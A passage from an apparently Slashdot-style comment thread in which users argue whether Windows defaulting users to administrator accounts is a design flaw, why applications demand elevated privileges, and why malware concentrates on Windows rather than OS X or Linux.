    1. Re:Rond and round we go by drsmithy · · Score: 1
      Which you have to do (run as admin) for some programs and most users do because it is default. I guess you are blaming the victim then.

      The blame falls wholely and solely on developers writing software that needlessly requires elevated privileges to run (which they are still doing today - eg: Doom 3).

      So sad that these problems are greatly alleviated on other systems by such simple practices and Windows cannot find the time over a decade to try it on.

      The problem isn't in Windows, it's in the applications that "need" to run as Administrator. Windows NT has been multiuser since the day it was released. Even DOS-based Windows has had per user profiles and registries since about 1997. That's nigh-on a decade developers have had to target both versions of Windows with a single LUA-compliant codebase.

      So you're saying it's not a design flaw to have the user run as admin by default.

      _Design_ flaw ? Hell, no. It's a configuration default that's easily changable by the end user.

      About a 100,00 and growing. The sad thing is I need provide no more detail, you already know what I'm talking about.

      100,000 whats ? Please don't tell me you're stupid enough to be counting viruses for your comparison.

      So you *do* think running as admin by default is not a design issue. Staggering.

      Of course it's not. You can't change design flaws with 30 seconds of user management.

      Does Linspire (I think it was) defaulting to a root user mean Linux has a _design_ flaw ? of course not, it's just a configuration detail.

  80. Vicious circle by SuperKendall · · Score: 1

    The blame falls wholely and solely on developers writing software that needlessly requires elevated privileges to run (which they are still doing today - eg: Doom 3).

    No need then to blame the people that write API's that require it, or design the system so game makers come to expect it as normal.

    The problem isn't in Windows, it's in the applications that "need" to run as Administrator. Windows NT has been multiuser since the day it was released. Even DOS-based Windows has had per user profiles and registries since about 1997. That's nigh-on a decade developers have had to target both versions of Windows with a single LUA-compliant codebase.

    But if you look there are reasons why many of these apps do things that require admin - they need to touch some part of the system untouchable otherwise.

    _Design_ flaw ? Hell, no. It's a configuration default that's easily changable by the end user.

    So the configurations came to spring form thin air, no-one sat down and thoguht about what they should be.

    100,000 whats ? Please don't tell me you're stupid enough to be counting viruses for your comparison.

    Even grudgingly you have to admit understanding my point. There is the reality of little numbes on a pretty chart, and then what actually is in this world.

    Of course it's not. You can't change design flaws with 30 seconds of user management.

    Except you can't run a lot of apps then...

    Does Linspire (I think it was) defaulting to a root user mean Linux has a _design_ flaw ? of course not, it's just a configuration detail.

    Yes that is a design flaw of that distro. or it would be except I do not believe that's how Linspire works. They set you up in an account with sudo abilites, similar ot OS X admin accounts.

    And that takes us back to where we started.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Vicious circle by drsmithy · · Score: 1
      No need then to blame the people that write API's that require it, [...]

      Which APIs require it ?

      [...] or design the system so game makers come to expect it as normal.

      That admin is the default is no justification for writing software that assumes it has free reign to modify parts of the system it has no business accessing. Not storing runtime and/or configuration data in the available per-user locations is just plain bad coding.

      But if you look there are reasons why many of these apps do things that require admin - they need to touch some part of the system untouchable otherwise.

      No, they don't. 99% of apps I've ever seen that "require" Administrator level privileges to run, do so because:

      * They're trying to write HKEY_LOCAL_MACHINE when they should be using HKEY_CURRENT_USER.

      * They're trying to write to files somewhere in %SYSTEMROOT% (ie: C:\Windows).

      * They're trying to write to files somewhere in the program's own directory.

      This has nothing to do with Windows, it's just bad/lazy/ignorant/stupid coding. There's no reason for the average program to be trying to write to or modify system locations or its own directory in normal usage.

      So the configurations came to spring form thin air, no-one sat down and thoguht about what they should be.

      I have no doubt it was agonised about and that making the default user an Administrator was considered the least worst option.

      It's also worth noting that in domain environments, the default user *isn't* an admin, because the impact is much lower.

      The group a user is in by default is in no way a design issue. Multiuser is a design issue. ACLs are a design issue. Multithreading is a design issue. CPU scheduling and memory management are design issues.

      What group a user is in by default is a barely significant configuration semantic.

      Even grudgingly you have to admit understanding my point. There is the reality of little numbes on a pretty chart, and then what actually is in this world.

      Your point is apparently that because Windows has lots of viruses around (most of which are just reimplementations of the same thing with a different name) it's got a relatively high bug count than other products. Presumably you also think that the higher numbers of published exploits (again, many of which are just the same thing over and over again with different names) and has a bigger reputation of being "insecure" support this view.

      If you really believe this, then there's probably not much I can do to convince you that your logic is flawed and that you actually need relevant numbers to support your assertion. Relevant numbers would be things that reported numbers of unique vulnerabilities and compared them to similar type of vulnerabilities on other platforms. Gathering numbers like that isn't a trivial task, however, and certainly none of the security sites/mailing lists/teams I've ever seen do so in a manner suitable for such good comparisons (they tend to mix in things like vulnerabilities in irrelevant bits of software like Open Office).

      The simple fact is that, given exploits of equal severity, the impact on Windows machines will be far, far, *far* greater than any other platform because there's so many of them. Heck, OS X has had vulnerabilities in the past that potentially left the entire system wide open and no-one even bothered to write an exploit, let alone release it into the wild (not that it would have spread particularly fast, with only about 1 in every 80 - 100 machines being vulnerable).

      The point I'm trying to get across here is that simplistic looks at the number of viruses, how many machines are exploited, how long an unpatched machine takes to be exploited and the like are _atrocious_ metrics to use for trying to make any sort of qualitative comparison. Or, as the statisticians like to say, "correlation is not causation".

      Except you can't run a lot of apps then...

      Fortunately,

    2. Re:Vicious circle by SuperKendall · · Score: 1

      Which APIs require it ?

      I'm talking about things like DirectX API's requiring it... like you say many of the reasons why apps require admin access to run are not API related though, I'll grant that.

      I have no doubt it was agonised about and that making the default user an Administrator was considered the least worst option.

      But at some point that choice was obviously wrong and they could have changed it. I'm not arguing about the initial choice, everyone makes mistakes - I'm arguing against the repeated making of the same mistake.

      At least they have fixed that in Vista.

      Your point is apparently that because Windows has lots of viruses around (most of which are just reimplementations of the same thing with a different name) it's got a relatively high bug count than other products.

      No. My point is that vulnerabilities in Windows actually lead to real, serious exploits unlike other platforms. Like the Sony Rootkit if you want one that's not even lited in the 10k. There are vulnerabilities on other systems but they do not lead to exploits, and it's rediculous to claim that just because there are "only" ten million + Macs around they are not a tempting target.

      Even then, non-Administrator access isn't any sort of silver bullet. Very little malware has any real requirement for elevated privileges to do what it does - the only reason most fails these days is because it's also assuming the end user is an admin. I doubt the switch to LUA by default in Vista will slow down malware authors much.

      I think it will help a lot though because the spyware and the like simply will not be able to burrow so deep. But I agree we'll still see succcessful attacks and I don't know the newer security model will be bulletproof for a while yet.

      --
      "There is more worth loving than we have strength to love." - Brian Jay Stanley
    3. Re:Vicious circle by drsmithy · · Score: 1
      I'm talking about things like DirectX API's requiring it...

      They don't.

      (I realise you've just picked DirectX as a well known example of a Windows API and are trying to make a generalised point, but AFAIK you're still wrong. There aren't any APIs that "require" Admin access to use - although obviously some things you might try to do with certain APIs will be restricted by privilege level. Basically, there aren't any architectural/programmatical reasons for a "normal" application to not work as a regular user).

      But at some point that choice was obviously wrong and they could have changed it. I'm not arguing about the initial choice, everyone makes mistakes - I'm arguing against the repeated making of the same mistake.

      But when ? They can't change products that have shipped, and you can't really make a change like that in a patch. It pretty much requires a new OS release.

      No. My point is that vulnerabilities in Windows actually lead to real, serious exploits unlike other platforms. Like the Sony Rootkit if you want one that's not even lited in the 10k.

      But that's not because the vulnerabilities on other systems aren't similar in severity, it's because no-one writes exploits for the other platforms.

      There are vulnerabilities on other systems but they do not lead to exploits, and it's rediculous to claim that just because there are "only" ten million + Macs around they are not a tempting target.

      It's not just as simple as "tempting target". OS X shares a similar user demographic to Windows, it's true - typically a technically ignorant end user with little knowledge or understanding of safe computing practices. However, OS X has several advantages in its favour to help mitigate the problem - being rarer, it's not targetted anywhere near as much, either in terms of "ROI" for crackers, or the proportion of people out there who have the technical skills to do so. Also benefitting from it's relative rarity is propogation speed - even if OS X had an automated, remote exploit published it would spread far, far slower since there are far, far fewer machines to infect. Exploit propogation is an exponetial-type curve, so the relative number of machines out there _dramatically_ affects how quickly an exploit will spread and how many machines (both as an absolute number and a proportion) it will affect before it is stopped. Then there's the culture aspect - Mac users, being something out of the ordinary, are more likely to communicate with each other *as Mac users*, and inform each other of available updates, circulating scams, etc. These things have a *massive* impact on propogation, because most malware infections require some sort of human interaction to execute and/or are exploiting a hole that's already been patched. The biggest hole in any (contemporary) OS is the user - and the user is a multiplicative factor - so by limiting that exposure, end results can be significant impacted.

      This is before even getting into the technical issues[0] like every OS X machine having automatic updates on by default, no network services listening[1] and a relatively limited user account[2] by default.

      Linux is another game entirely. Its user demographic is _completely_ different (unmanaged Linux machines with ignorant end users are exceptionally rare) and extremely malware-hostile. The typical Linux user will notice in relatively short order whether his machine is acting differently, and is likely to be able to identify *and fix* "unusual" behaviour independently and quickly.

      [0] IMHO technical issues surrounding security are relatively insignificant with regards to security, assuming contemporary OSes and equivalent maintenance practices.

      [1] This one is a biggie I think Microsoft should fix ASAP. Turning the firewall on in SP2 "basically" fixed it, but there are deeper issues that should be addressed.

      [2] This is _way_ overplayed IMHO. Most malware doesn't intrinsically need elevated privileges to "work" - the onl

    4. Re:Vicious circle by SuperKendall · · Score: 1

      (I realise you've just picked DirectX as a well known example of a Windows API and are trying to make a generalised point, but AFAIK you're still wrong. There aren't any APIs that "require" Admin access to use - although obviously some things you might try to do with certain APIs will be restricted by privilege level. Basically, there aren't any architectural/programmatical reasons for a "normal" application to not work as a regular user).

      I have no really good examples on that point so I'll just back off there.

      But when ? They can't change products that have shipped, and you can't really make a change like that in a patch. It pretty much requires a new OS release.

      They've had a lot of Windows releases to implement this. And even SP2 for XP could have done it.

      But that's not because the vulnerabilities on other systems aren't similar in severity, it's because no-one writes exploits for the other platforms.

      Not so, it's exactly because Windows vulnerabilities allow intrusion to the depth they do that they are more widespread. It's the conjuction of vulnerabilities that allows and encourages the huge number of Windows exploits you see.

      It is rediculous to claim that 10+ million macs are not a target because they are too few in number, and then of course there's the old APache argument as well. Claiming that Windows computers are hit just because there are more of them is a tired old dodge.

      Mac users are more likley to tak with each other but why would that be any kind of deterrent to a virus/malware writer?

      --
      "There is more worth loving than we have strength to love." - Brian Jay Stanley
  81. For a reason by Atario · · Score: 1
    What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?!
    They have to hold something over...how else are they going to maintain their have-their-cake-and-eat-it-too copyright notice of "(C)1985-$CURRENT_YEAR"?
    --
    "A great democracy must be progressive or it will soon cease to be a great democracy." --Theodore Roosevelt